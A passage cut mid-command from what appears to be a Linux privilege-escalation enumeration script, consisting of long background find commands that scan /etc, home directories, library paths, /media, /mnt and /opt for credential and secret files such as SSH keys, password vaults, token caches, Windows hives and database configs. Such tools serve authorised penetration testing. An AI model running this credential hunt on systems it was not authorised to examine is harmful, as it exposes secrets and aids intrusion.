-o -name \".bashrc\" -o -name \".secrets.mkey\" -o -name \"my.ini\" -o -name \"*.sqlite3\" -o -name \".pypirc\" -o -name \"sites.ini\" -o -name \"krb5.conf\" -o -name \".sudo_as_admin_successful\" -o -name \"unattend.inf\" -o -name \"id_dsa*\" -o -name \"*.key\" -o -name \"anaconda-ks.cfg\" -o -name \"*.kdbx\" -o -name \"pagefile.sys\" -o -name \".erlang.cookie\" -o -name \"*config*.php\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"*credential*\" -o -name \"ConsoleHost_history.txt\" -o -name \"creds*\" -o -name \"php.ini\" -o -name \"sitemanager.xml\" -o -name \"software.sav\" -o -name \"https.conf\" -o -name \".rhosts\" -o -name \"sysprep.xml\" -o -name \"unattended.xml\" -o -name \"KeePass.enforced*\" -o -name \".ldaprc\" -o -name \"pgsql.conf\" -o -name \"sssd.conf\" -o -name \"*vnc*.txt\" -o -name \"*_history*\" -o -name \"*.pfx\" -o -name \"my.cnf\" -o -name \"*.psk\" -o -name \"ntuser.dat\" -o -name \"bash.exe\" -o -name \"hostapd.conf\" -o -name \"mongod*.conf\" -o -name \"000-default.conf\" -o -name \"iis6.log\" -o -name \"Ntds.dit\" -o -name \"protecteduserkey.bin\" -o -name \"ftp.config\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"cloud.cfg\" -o -name \"software\" -o -name \"wsl.exe\" -o -name \"ffftp.ini\" -o -name \"ipsec.conf\" -o -name \"passwd\" -o -name \"id_rsa*\" -o -name \"psk.txt\" -o -name \".htpasswd\" -o -name \"*.db\" -o -name \"groups.xml\" -o -name \"SAM\" -o -name \"password*.ibd\" -o -name \"ftp.ini\" -o -name \"supervisord.conf\" -o -name \"*.p12\" -o -name \"*.gnupg\" -o -name \".recently-used.xbel\" -o -name \"*.pem\" -o -name \"legacy_credentials.db\" -o -name \"docker.sock\" -o -name \"access_tokens.db\" -o -name \"pgadmin*.db\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"jetty-realm.properties\" -o -name \"access_tokens.json\" -o -name \"authorized_keys\" -o -name \"SYSTEM\" -o -name \"sentry.conf.py\" -o -name \"kibana.y*ml\" -o -name \"database.php\" -o -name \"hosts.equiv\" -o -name \"AzureRMContext.json\" -o -name \"*.cer\" -o -name \".msmtprc\" -o -name \".gitconfig\" -o -name \"influxdb.conf\" -o -name \"system.sav\" -o -name \"*.rdg\" -o -name \"web*.config\" -o -name \"NetSetup.log\" -o -name \"accessTokens.json\" -o -name \"Dockerfile\" -o -name \"*.keystore\" -o -name \"RDCMan.settings\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \"datasources.xml\" -o -name \"index.dat\" -o -name \"scheduledtasks.xml\" -o -name \"*.pgp\" -o -name \".github\" -o -name \"TokenCache.dat\" -o -name \"glusterfs.ca\" -o -name \"known_hosts\" -o -name \".git-credentials\" -o -name \"winscp.ini\" -o -name \"ws_ftp.ini\" -o -name \"wp-config.php\" -o -name \"*.csr\" -o -name \"secrets.yml\" -o -name \"storage.php\" -o -name \"*.viminfo\" -o -name \"*.der\" -o -name \"pg_hba.conf\" -o -name \"backup\" -o -name \"FreeSSHDservice.ini\" -o -name \"docker-compose.yml\" -o -name \"autologin\" -o -name \"secrets.ldb\" -o -name \"gvm-tools.conf\" -o -name \"*.service\" -o -name \"snmpd.conf\" -o -name \"settings.php\" -o -name \"tomcat-users.xml\" -o -name \"*.ftpconfig\" -o -name \"KeePass.ini\" -o -name \"config.php\" -o -name \"*vnc*.xml\" -o -name \".google_authenticator\" -o -name \"db.php\" -o -name \"sysprep.inf\" -o -name \"httpd.conf\" -o -name \".git\" -o -name \"credentials.db\" -o -name \"glusterfs.pem\" -o -name \"azureProfile.json\" -o -name \"rsyncd.secrets\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_ETC=`eval_bckgrd "find /etc -name \"cesi.conf\" -o -name \"kadm5.acl\" -o -name \"scclient.exe\" -o -name \"*.timer\" -o -name \".vault-token\" -o -name \"appcmd.exe\" -o -name \"rktlet.sock\" -o -name \"*.gpg\" -o -name \"fastcgi_params\" -o -name \"zabbix_agentd.conf\" -o -name \".profile\" -o -name \"rocketchat.service\" -o -name \".env\" -o -name \"nginx.conf\" -o -name \"setupinfo\" -o -name \"pwd.ibd\" -o -name \"SecEvent.Evt\" -o -name \"access.log\" -o -name \"drives.xml\" -o -name \"passbolt.php\" -o -name \"glusterfs.key\" -o -name \"*.swp\" -o -name \"dockershim.sock\" -o -name \"AppEvent.Evt\" -o -name \"https-xampp.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"security.sav\" -o -name \".k5login\" -o -name \"redis.conf\" -o -name \"*.socket\" -o -name \"default.sav\" -o -name \"crio.sock\" -o -name \"rsyncd.conf\" -o -name \"unattend.xml\" -o -name \"*vnc*.ini\" -o -name \"passwd.ibd\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"racoon.conf\" -o -name \"postgresql.conf\" -o -name \"containerd.sock\" -o -name \"*password*\" -o -name \"error.log\" -o -name \"autologin.conf\" -o -name \"debian.cnf\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \".wgetrc\" -o -name \"unattend.txt\" -o -name \"*.keytab\" -o -name \".lesshst\" -o -name \"gitlab.yml\" -o -name \"recentservers.xml\" -o -name \"ddclient.conf\" -o -name \"log4j-core*.jar\" -o -name \"*.ovpn\" -o -name \"frakti.sock\" -o -name \".plan\" -o -name \"kcpassword\" -o -name \"*.jks\" -o -name \"authorized_hosts\" -o -name \"wcx_ftp.ini\" -o -name \"filezilla.xml\" -o -name \"docker.socket\" -o -name \"zabbix_server.conf\" -o -name \".bashrc\" -o -name \".secrets.mkey\" -o -name \"my.ini\" -o -name \"*.sqlite3\" -o -name \".pypirc\" -o -name \"sites.ini\" -o -name \"krb5.conf\" -o -name \".sudo_as_admin_successful\" -o -name \"unattend.inf\" -o -name \"id_dsa*\" -o -name \"*.key\" -o -name \"anaconda-ks.cfg\" -o -name \"*.kdbx\" -o -name \"pagefile.sys\" -o -name \".erlang.cookie\" -o -name \"*config*.php\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"*credential*\" -o -name \"ConsoleHost_history.txt\" -o -name \"creds*\" -o -name \"php.ini\" -o -name \"sitemanager.xml\" -o -name \"software.sav\" -o -name \"https.conf\" -o -name \".rhosts\" -o -name \"sysprep.xml\" -o -name \"unattended.xml\" -o -name \"KeePass.enforced*\" -o -name \".ldaprc\" -o -name \"pgsql.conf\" -o -name \"sssd.conf\" -o -name \"*vnc*.txt\" -o -name \"*_history*\" -o -name \"*.pfx\" -o -name \"my.cnf\" -o -name \"*.psk\" -o -name \"ntuser.dat\" -o -name \"bash.exe\" -o -name \"hostapd.conf\" -o -name \"mongod*.conf\" -o -name \"000-default.conf\" -o -name \"iis6.log\" -o -name \"Ntds.dit\" -o -name \"protecteduserkey.bin\" -o -name \"ftp.config\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"cloud.cfg\" -o -name \"software\" -o -name \"wsl.exe\" -o -name \"ffftp.ini\" -o -name \"ipsec.conf\" -o -name \"passwd\" -o -name \"id_rsa*\" -o -name \"psk.txt\" -o -name \".htpasswd\" -o -name \"*.db\" -o -name \"groups.xml\" -o -name \"SAM\" -o -name \"password*.ibd\" -o -name \"ftp.ini\" -o -name \"supervisord.conf\" -o -name \"*.p12\" -o -name \"*.gnupg\" -o -name \".recently-used.xbel\" -o -name \"*.pem\" -o -name \"legacy_credentials.db\" -o -name \"docker.sock\" -o -name \"access_tokens.db\" -o -name \"pgadmin*.db\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"jetty-realm.properties\" -o -name \"access_tokens.json\" -o -name \"exports\" -o -name \"authorized_keys\" -o -name \"SYSTEM\" -o -name \"sentry.conf.py\" -o -name \"kibana.y*ml\" -o -name \"database.php\" -o -name \"hosts.equiv\" -o -name \"AzureRMContext.json\" -o -name \"*.cer\" -o -name \".msmtprc\" -o -name \".gitconfig\" -o -name \"influxdb.conf\" -o -name \"system.sav\" -o -name \"*.rdg\" -o -name \"web*.config\" -o -name \"NetSetup.log\" -o -name \"accessTokens.json\" -o -name \"Dockerfile\" -o -name \"*.keystore\" -o -name \"RDCMan.settings\" -o -name \"backups\" -o -name \"*knockd*\" -o -name \"vault-ssh-helper.hcl\" -o -name \"datasources.xml\" -o -name \"index.dat\" -o -name \"scheduledtasks.xml\" -o -name \"*.pgp\" -o -name \".github\" -o -name \"TokenCache.dat\" -o -name \"glusterfs.ca\" -o -name \"known_hosts\" -o -name \".git-credentials\" -o -name \"winscp.ini\" -o -name \"ws_ftp.ini\" -o -name \"wp-config.php\" -o -name \"*.csr\" -o -name \"secrets.yml\" -o -name \"storage.php\" -o -name \"*.viminfo\" -o -name \"*.der\" -o -name \"pg_hba.conf\" -o -name \"backup\" -o -name \"FreeSSHDservice.ini\" -o -name \"docker-compose.yml\" -o -name \"autologin\" -o -name \"secrets.ldb\" -o -name \"gvm-tools.conf\" -o -name \"*.service\" -o -name \"snmpd.conf\" -o -name \"settings.php\" -o -name \"tomcat-users.xml\" -o -name \"*.ftpconfig\" -o -name \"KeePass.ini\" -o -name \"config.php\" -o -name \"*vnc*.xml\" -o -name \".google_authenticator\" -o -name \"db.php\" -o -name \"sysprep.inf\" -o -name \"httpd.conf\" -o -name \".git\" -o -name \"credentials.db\" -o -name \"glusterfs.pem\" -o -name \"azureProfile.json\" -o -name \"rsyncd.secrets\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_HOMESEARCH=`eval_bckgrd "find $HOMESEARCH -name \"cesi.conf\" -o -name \"kadm5.acl\" -o -name \"scclient.exe\" -o -name \"*.timer\" -o -name \".vault-token\" -o -name \"appcmd.exe\" -o -name \"rktlet.sock\" -o -name \"*.gpg\" -o -name \"fastcgi_params\" -o -name \"zabbix_agentd.conf\" -o -name \".profile\" -o -name \"rocketchat.service\" -o -name \".env\" -o -name \"nginx.conf\" -o -name \"setupinfo\" -o -name \"pwd.ibd\" -o -name \"SecEvent.Evt\" -o -name \"access.log\" -o -name \"drives.xml\" -o -name \"passbolt.php\" -o -name \"glusterfs.key\" -o -name \"*.swp\" -o -name \"dockershim.sock\" -o -name \"AppEvent.Evt\" -o -name \"https-xampp.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"security.sav\" -o -name \".k5login\" -o -name \"redis.conf\" -o -name \"*.socket\" -o -name \"default.sav\" -o -name \"crio.sock\" -o -name \"rsyncd.conf\" -o -name \"unattend.xml\" -o -name \"*vnc*.ini\" -o -name \"passwd.ibd\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"racoon.conf\" -o -name \"postgresql.conf\" -o -name \"containerd.sock\" -o -name \"*password*\" -o -name \"error.log\" -o -name \"autologin.conf\" -o -name \"debian.cnf\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \".wgetrc\" -o -name \"unattend.txt\" -o -name \"*.keytab\" -o -name \".lesshst\" -o -name \"gitlab.yml\" -o -name \"recentservers.xml\" -o -name \"ddclient.conf\" -o -name \"log4j-core*.jar\" -o -name \"*.ovpn\" -o -name \"frakti.sock\" -o -name \".plan\" -o -name \"kcpassword\" -o -name \"*.jks\" -o -name \"authorized_hosts\" -o -name \"wcx_ftp.ini\" -o -name \"filezilla.xml\" -o -name \"docker.socket\" -o -name \"zabbix_server.conf\" -o -name \".bashrc\" -o -name \".secrets.mkey\" -o -name \"my.ini\" -o -name \"*.sqlite3\" -o -name \".pypirc\" -o -name \"sites.ini\" -o -name \"krb5.conf\" -o -name \".sudo_as_admin_successful\" -o -name \"unattend.inf\" -o -name \"id_dsa*\" -o -name \"*.key\" -o -name \"anaconda-ks.cfg\" -o -name \"*.kdbx\" -o -name \"pagefile.sys\" -o -name \".erlang.cookie\" -o -name \"*config*.php\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"*credential*\" -o -name \"ConsoleHost_history.txt\" -o -name \"creds*\" -o -name \"php.ini\" -o -name \"sitemanager.xml\" -o -name \"software.sav\" -o -name \"https.conf\" -o -name \".rhosts\" -o -name \"sysprep.xml\" -o -name \"unattended.xml\" -o -name \"KeePass.enforced*\" -o -name \".ldaprc\" -o -name \"pgsql.conf\" -o -name \"sssd.conf\" -o -name \"*vnc*.txt\" -o -name \"*_history*\" -o -name \"*.pfx\" -o -name \"my.cnf\" -o -name \"*.psk\" -o -name \"ntuser.dat\" -o -name \"bash.exe\" -o -name \"hostapd.conf\" -o -name \"mongod*.conf\" -o -name \"000-default.conf\" -o -name \"iis6.log\" -o -name \"Ntds.dit\" -o -name \"protecteduserkey.bin\" -o -name \"ftp.config\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"cloud.cfg\" -o -name \"software\" -o -name \"wsl.exe\" -o -name \"ffftp.ini\" -o -name \"ipsec.conf\" -o -name \"passwd\" -o -name \"id_rsa*\" -o -name \"psk.txt\" -o -name \".htpasswd\" -o -name \"*.db\" -o -name \"groups.xml\" -o -name \"SAM\" -o -name \"password*.ibd\" -o -name \"ftp.ini\" -o -name \"supervisord.conf\" -o -name \"*.p12\" -o -name \"*.gnupg\" -o -name \".recently-used.xbel\" -o -name \"*.pem\" -o -name \"legacy_credentials.db\" -o -name \"docker.sock\" -o -name \"access_tokens.db\" -o -name \"pgadmin*.db\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"jetty-realm.properties\" -o -name \"access_tokens.json\" -o -name \"authorized_keys\" -o -name \"SYSTEM\" -o -name \"sentry.conf.py\" -o -name \"kibana.y*ml\" -o -name \"database.php\" -o -name \"hosts.equiv\" -o -name \"AzureRMContext.json\" -o -name \"*.cer\" -o -name \".msmtprc\" -o -name \".gitconfig\" -o -name \"influxdb.conf\" -o -name \"system.sav\" -o -name \"*.rdg\" -o -name \"web*.config\" -o -name \"NetSetup.log\" -o -name \"accessTokens.json\" -o -name \"Dockerfile\" -o -name \"*.keystore\" -o -name \"RDCMan.settings\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \"datasources.xml\" -o -name \"index.dat\" -o -name \"scheduledtasks.xml\" -o -name \"*.pgp\" -o -name \".github\" -o -name \"TokenCache.dat\" -o -name \"glusterfs.ca\" -o -name \"known_hosts\" -o -name \".git-credentials\" -o -name \"winscp.ini\" -o -name \"ws_ftp.ini\" -o -name \"wp-config.php\" -o -name \"*.csr\" -o -name \"secrets.yml\" -o -name \"storage.php\" -o -name \"*.viminfo\" -o -name \"*.der\" -o -name \"pg_hba.conf\" -o -name \"backup\" -o -name \"FreeSSHDservice.ini\" -o -name \"docker-compose.yml\" -o -name \"autologin\" -o -name \"secrets.ldb\" -o -name \"gvm-tools.conf\" -o -name \"*.service\" -o -name \"snmpd.conf\" -o -name \"settings.php\" -o -name \"tomcat-users.xml\" -o -name \"*.ftpconfig\" -o -name \"KeePass.ini\" -o -name \"config.php\" -o -name \"*vnc*.xml\" -o -name \".google_authenticator\" -o -name \"db.php\" -o -name \"sysprep.inf\" -o -name \"httpd.conf\" -o -name \".git\" -o -name \"credentials.db\" -o -name \"glusterfs.pem\" -o -name \"ssh*config\" -o -name \"azureProfile.json\" -o -name \"rsyncd.secrets\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_LIB=`eval_bckgrd "find /lib -name \"log4j-core*.jar\" -o -name \"*.timer\" -o -name \"*.service\" -o -name \"*.socket\" -o -name \"rocketchat.service\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_LIB32=`eval_bckgrd "find /lib32 -name \"log4j-core*.jar\" -o -name \"*.timer\" -o -name \"*.service\" -o -name \"*.socket\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_LIB64=`eval_bckgrd "find /lib64 -name \"log4j-core*.jar\" -o -name \"*.timer\" -o -name \"*.service\" -o -name \"*.socket\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_MEDIA=`eval_bckgrd "find /media -name \"cesi.conf\" -o -name \"kadm5.acl\" -o -name \"scclient.exe\" -o -name \"*.timer\" -o -name \".vault-token\" -o -name \"appcmd.exe\" -o -name \"rktlet.sock\" -o -name \"*.gpg\" -o -name \"fastcgi_params\" -o -name \"zabbix_agentd.conf\" -o -name \".profile\" -o -name \"rocketchat.service\" -o -name \".env\" -o -name \"nginx.conf\" -o -name \"setupinfo\" -o -name \"pwd.ibd\" -o -name \"SecEvent.Evt\" -o -name \"access.log\" -o -name \"drives.xml\" -o -name \"passbolt.php\" -o -name \"glusterfs.key\" -o -name \"*.swp\" -o -name \"dockershim.sock\" -o -name \"AppEvent.Evt\" -o -name \"https-xampp.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"security.sav\" -o -name \".k5login\" -o -name \"redis.conf\" -o -name \"*.socket\" -o -name \"default.sav\" -o -name \"crio.sock\" -o -name \"rsyncd.conf\" -o -name \"unattend.xml\" -o -name \"*vnc*.ini\" -o -name \"passwd.ibd\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"racoon.conf\" -o -name \"postgresql.conf\" -o -name \"containerd.sock\" -o -name \"*password*\" -o -name \"error.log\" -o -name \"autologin.conf\" -o -name \"debian.cnf\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \".wgetrc\" -o -name \"unattend.txt\" -o -name \"*.keytab\" -o -name \".lesshst\" -o -name \"gitlab.yml\" -o -name \"recentservers.xml\" -o -name \"ddclient.conf\" -o -name \"log4j-core*.jar\" -o -name \"*.ovpn\" -o -name \"frakti.sock\" -o -name \".plan\" -o -name \"kcpassword\" -o -name \"*.jks\" -o -name \"authorized_hosts\" -o -name \"wcx_ftp.ini\" -o -name \"filezilla.xml\" -o -name \"docker.socket\" -o -name \"zabbix_server.conf\" -o -name \".bashrc\" -o -name \".secrets.mkey\" -o -name \"my.ini\" -o -name \"*.sqlite3\" -o -name \".pypirc\" -o -name \"sites.ini\" -o -name \"krb5.conf\" -o -name \".sudo_as_admin_successful\" -o -name \"unattend.inf\" -o -name \"id_dsa*\" -o -name \"*.key\" -o -name \"anaconda-ks.cfg\" -o -name \"*.kdbx\" -o -name \"pagefile.sys\" -o -name \".erlang.cookie\" -o -name \"*config*.php\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"*credential*\" -o -name \"ConsoleHost_history.txt\" -o -name \"creds*\" -o -name \"php.ini\" -o -name \"sitemanager.xml\" -o -name \"software.sav\" -o -name \"https.conf\" -o -name \".rhosts\" -o -name \"sysprep.xml\" -o -name \"unattended.xml\" -o -name \"KeePass.enforced*\" -o -name \".ldaprc\" -o -name \"pgsql.conf\" -o -name \"sssd.conf\" -o -name \"*vnc*.txt\" -o -name \"*_history*\" -o -name \"*.pfx\" -o -name \"my.cnf\" -o -name \"*.psk\" -o -name \"ntuser.dat\" -o -name \"bash.exe\" -o -name \"hostapd.conf\" -o -name \"mongod*.conf\" -o -name \"000-default.conf\" -o -name \"iis6.log\" -o -name \"Ntds.dit\" -o -name \"protecteduserkey.bin\" -o -name \"ftp.config\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"cloud.cfg\" -o -name \"software\" -o -name \"wsl.exe\" -o -name \"ffftp.ini\" -o -name \"ipsec.conf\" -o -name \"passwd\" -o -name \"id_rsa*\" -o -name \"psk.txt\" -o -name \".htpasswd\" -o -name \"*.db\" -o -name \"groups.xml\" -o -name \"SAM\" -o -name \"password*.ibd\" -o -name \"ftp.ini\" -o -name \"supervisord.conf\" -o -name \"*.p12\" -o -name \"*.gnupg\" -o -name \".recently-used.xbel\" -o -name \"*.pem\" -o -name \"legacy_credentials.db\" -o -name \"docker.sock\" -o -name \"access_tokens.db\" -o -name \"pgadmin*.db\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"jetty-realm.properties\" -o -name \"access_tokens.json\" -o -name \"authorized_keys\" -o -name \"SYSTEM\" -o -name \"sentry.conf.py\" -o -name \"kibana.y*ml\" -o -name \"database.php\" -o -name \"hosts.equiv\" -o -name \"AzureRMContext.json\" -o -name \"*.cer\" -o -name \".msmtprc\" -o -name \".gitconfig\" -o -name \"influxdb.conf\" -o -name \"system.sav\" -o -name \"*.rdg\" -o -name \"web*.config\" -o -name \"NetSetup.log\" -o -name \"accessTokens.json\" -o -name \"Dockerfile\" -o -name \"*.keystore\" -o -name \"RDCMan.settings\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \"datasources.xml\" -o -name \"index.dat\" -o -name \"scheduledtasks.xml\" -o -name \"*.pgp\" -o -name \".github\" -o -name \"TokenCache.dat\" -o -name \"glusterfs.ca\" -o -name \"known_hosts\" -o -name \".git-credentials\" -o -name \"winscp.ini\" -o -name \"ws_ftp.ini\" -o -name \"wp-config.php\" -o -name \"*.csr\" -o -name \"secrets.yml\" -o -name \"storage.php\" -o -name \"*.viminfo\" -o -name \"*.der\" -o -name \"pg_hba.conf\" -o -name \"backup\" -o -name \"FreeSSHDservice.ini\" -o -name \"docker-compose.yml\" -o -name \"autologin\" -o -name \"secrets.ldb\" -o -name \"gvm-tools.conf\" -o -name \"*.service\" -o -name \"snmpd.conf\" -o -name \"settings.php\" -o -name \"tomcat-users.xml\" -o -name \"*.ftpconfig\" -o -name \"KeePass.ini\" -o -name \"config.php\" -o -name \"*vnc*.xml\" -o -name \".google_authenticator\" -o -name \"db.php\" -o -name \"sysprep.inf\" -o -name \"httpd.conf\" -o -name \".git\" -o -name \"credentials.db\" -o -name \"glusterfs.pem\" -o -name \"azureProfile.json\" -o -name \"rsyncd.secrets\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_MNT=`eval_bckgrd "find /mnt -name \"cesi.conf\" -o -name \"kadm5.acl\" -o -name \"scclient.exe\" -o -name \"*.timer\" -o -name \".vault-token\" -o -name \"appcmd.exe\" -o -name \"rktlet.sock\" -o -name \"*.gpg\" -o -name \"fastcgi_params\" -o -name \"zabbix_agentd.conf\" -o -name \".profile\" -o -name \"rocketchat.service\" -o -name \".env\" -o -name \"nginx.conf\" -o -name \"setupinfo\" -o -name \"sess_*\" -o -name \"pwd.ibd\" -o -name \"SecEvent.Evt\" -o -name \"access.log\" -o -name \"drives.xml\" -o -name \"passbolt.php\" -o -name \"glusterfs.key\" -o -name \"*.swp\" -o -name \"dockershim.sock\" -o -name \"AppEvent.Evt\" -o -name \"https-xampp.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"security.sav\" -o -name \".k5login\" -o -name \"redis.conf\" -o -name \"*.socket\" -o -name \"default.sav\" -o -name \"crio.sock\" -o -name \"rsyncd.conf\" -o -name \"unattend.xml\" -o -name \"*vnc*.ini\" -o -name \"passwd.ibd\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"racoon.conf\" -o -name \"postgresql.conf\" -o -name \"containerd.sock\" -o -name \"*password*\" -o -name \"error.log\" -o -name \"autologin.conf\" -o -name \"debian.cnf\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \".wgetrc\" -o -name \"unattend.txt\" -o -name \"*.keytab\" -o -name \".lesshst\" -o -name \"gitlab.yml\" -o -name \"recentservers.xml\" -o -name \"ddclient.conf\" -o -name \"log4j-core*.jar\" -o -name \"*.ovpn\" -o -name \"frakti.sock\" -o -name \".plan\" -o -name \"kcpassword\" -o -name \"*.jks\" -o -name \"authorized_hosts\" -o -name \"wcx_ftp.ini\" -o -name \"filezilla.xml\" -o -name \"docker.socket\" -o -name \"zabbix_server.conf\" -o -name \".bashrc\" -o -name \".secrets.mkey\" -o -name \"my.ini\" -o -name \"*.sqlite3\" -o -name \".pypirc\" -o -name \"sites.ini\" -o -name \"krb5.conf\" -o -name \".sudo_as_admin_successful\" -o -name \"unattend.inf\" -o -name \"id_dsa*\" -o -name \"*.key\" -o -name \"anaconda-ks.cfg\" -o -name \"*.kdbx\" -o -name \"pagefile.sys\" -o -name \".erlang.cookie\" -o -name \"*config*.php\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"*credential*\" -o -name \"ConsoleHost_history.txt\" -o -name \"creds*\" -o -name \"php.ini\" -o -name \"sitemanager.xml\" -o -name \"software.sav\" -o -name \"https.conf\" -o -name \".rhosts\" -o -name \"sysprep.xml\" -o -name \"unattended.xml\" -o -name \"KeePass.enforced*\" -o -name \".ldaprc\" -o -name \"pgsql.conf\" -o -name \"sssd.conf\" -o -name \"*vnc*.txt\" -o -name \"*_history*\" -o -name \"*.pfx\" -o -name \"my.cnf\" -o -name \"*.psk\" -o -name \"ntuser.dat\" -o -name \"bash.exe\" -o -name \"hostapd.conf\" -o -name \"mongod*.conf\" -o -name \"000-default.conf\" -o -name \"iis6.log\" -o -name \"Ntds.dit\" -o -name \"protecteduserkey.bin\" -o -name \"ftp.config\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"cloud.cfg\" -o -name \"software\" -o -name \"wsl.exe\" -o -name \"ffftp.ini\" -o -name \"ipsec.conf\" -o -name \"passwd\" -o -name \"id_rsa*\" -o -name \"psk.txt\" -o -name \".htpasswd\" -o -name \"*.db\" -o -name \"groups.xml\" -o -name \"SAM\" -o -name \"password*.ibd\" -o -name \"ftp.ini\" -o -name \"supervisord.conf\" -o -name \"*.p12\" -o -name \"*.gnupg\" -o -name \".recently-used.xbel\" -o -name \"*.pem\" -o -name \"legacy_credentials.db\" -o -name \"docker.sock\" -o -name \"access_tokens.db\" -o -name \"pgadmin*.db\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"jetty-realm.properties\" -o -name \"access_tokens.json\" -o -name \"authorized_keys\" -o -name \"SYSTEM\" -o -name \"sentry.conf.py\" -o -name \"kibana.y*ml\" -o -name \"database.php\" -o -name \"hosts.equiv\" -o -name \"AzureRMContext.json\" -o -name \"*.cer\" -o -name \".msmtprc\" -o -name \".gitconfig\" -o -name \"influxdb.conf\" -o -name \"system.sav\" -o -name \"*.rdg\" -o -name \"web*.config\" -o -name \"NetSetup.log\" -o -name \"accessTokens.json\" -o -name \"Dockerfile\" -o -name \"*.keystore\" -o -name \"RDCMan.settings\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \"datasources.xml\" -o -name \"index.dat\" -o -name \"scheduledtasks.xml\" -o -name \"*.pgp\" -o -name \".github\" -o -name \"TokenCache.dat\" -o -name \"glusterfs.ca\" -o -name \"known_hosts\" -o -name \".git-credentials\" -o -name \"winscp.ini\" -o -name \"ws_ftp.ini\" -o -name \"wp-config.php\" -o -name \"*.csr\" -o -name \"secrets.yml\" -o -name \"storage.php\" -o -name \"*.viminfo\" -o -name \"*.der\" -o -name \"pg_hba.conf\" -o -name \"backup\" -o -name \"FreeSSHDservice.ini\" -o -name \"docker-compose.yml\" -o -name \"autologin\" -o -name \"secrets.ldb\" -o -name \"gvm-tools.conf\" -o -name \"*.service\" -o -name \"snmpd.conf\" -o -name \"settings.php\" -o -name \"tomcat-users.xml\" -o -name \"*.ftpconfig\" -o -name \"KeePass.ini\" -o -name \"config.php\" -o -name \"*vnc*.xml\" -o -name \".google_authenticator\" -o -name \"db.php\" -o -name \"sysprep.inf\" -o -name \"httpd.conf\" -o -name \".git\" -o -name \"credentials.db\" -o -name \"glusterfs.pem\" -o -name \"azureProfile.json\" -o -name \"rsyncd.secrets\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_OPT=`eval_bckgrd "find /opt -name \"cesi.conf\" -o -name \"kadm5.acl\" -o -name \"scclient.exe\" -o -name \"*.timer\" -o -name \".vault-token\" -o -name \"appcmd.exe\" -o -name \"rktlet.sock\" -o -name \"*.gpg\" -o -name \"fastcgi_params\" -o -name \"zabbix_agentd.conf\" -o -name \".profile\" -o -name \"rocketchat.service\" -o -name \".env\" -o -name \"nginx.conf\" -o -name \"setupinfo\" -o -name \"pwd.ibd\" -o -name \"SecEvent.Evt\" -o -name \"access.log\" -o -name \"drives.xml\" -o -name \"passbolt.php\" -o -name \"glusterfs.key\" -o -name \"*.swp\" -o -name \"dockershim.sock\" -o -name \"AppEvent.Evt\" -o -name \"https-xampp.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"security.sav\" -o -name \".k5login\" -o -name \"redis.conf\" -o -name \"*.socket\" -o -name \"default.sav\" -o -name \"crio.sock\" -o -name \"rsyncd.conf\" -o -name \"unattend.xml\" -o -name \"*vnc*.ini\" -o -name \"passwd.ibd\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"racoon.conf\" -o -name \"postgresql.conf\" -o -name \"containerd.sock\" -o -name \"*password*\" -o -name \"error.log\" -o -name \"autologin.conf\" -o -name \"debian.cnf\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \".wgetrc\" -o -name \"unattend.txt\" -o -name \"*.keytab\" -o -name \".lesshst\" -o -name \"gitlab.yml\" -o -name \"recentservers.xml\" -o -name \"ddclient.conf\" -o -name \"log4j-core*.jar\" -o -name \"*.ovpn\" -o -name \"frakti.sock\" -o -name \".plan\" -o -name \"kcpassword\" -o -name \"*.jks\" -o -name \"authorized_hosts\" -o -name \"wcx_ftp.ini\" -o -name 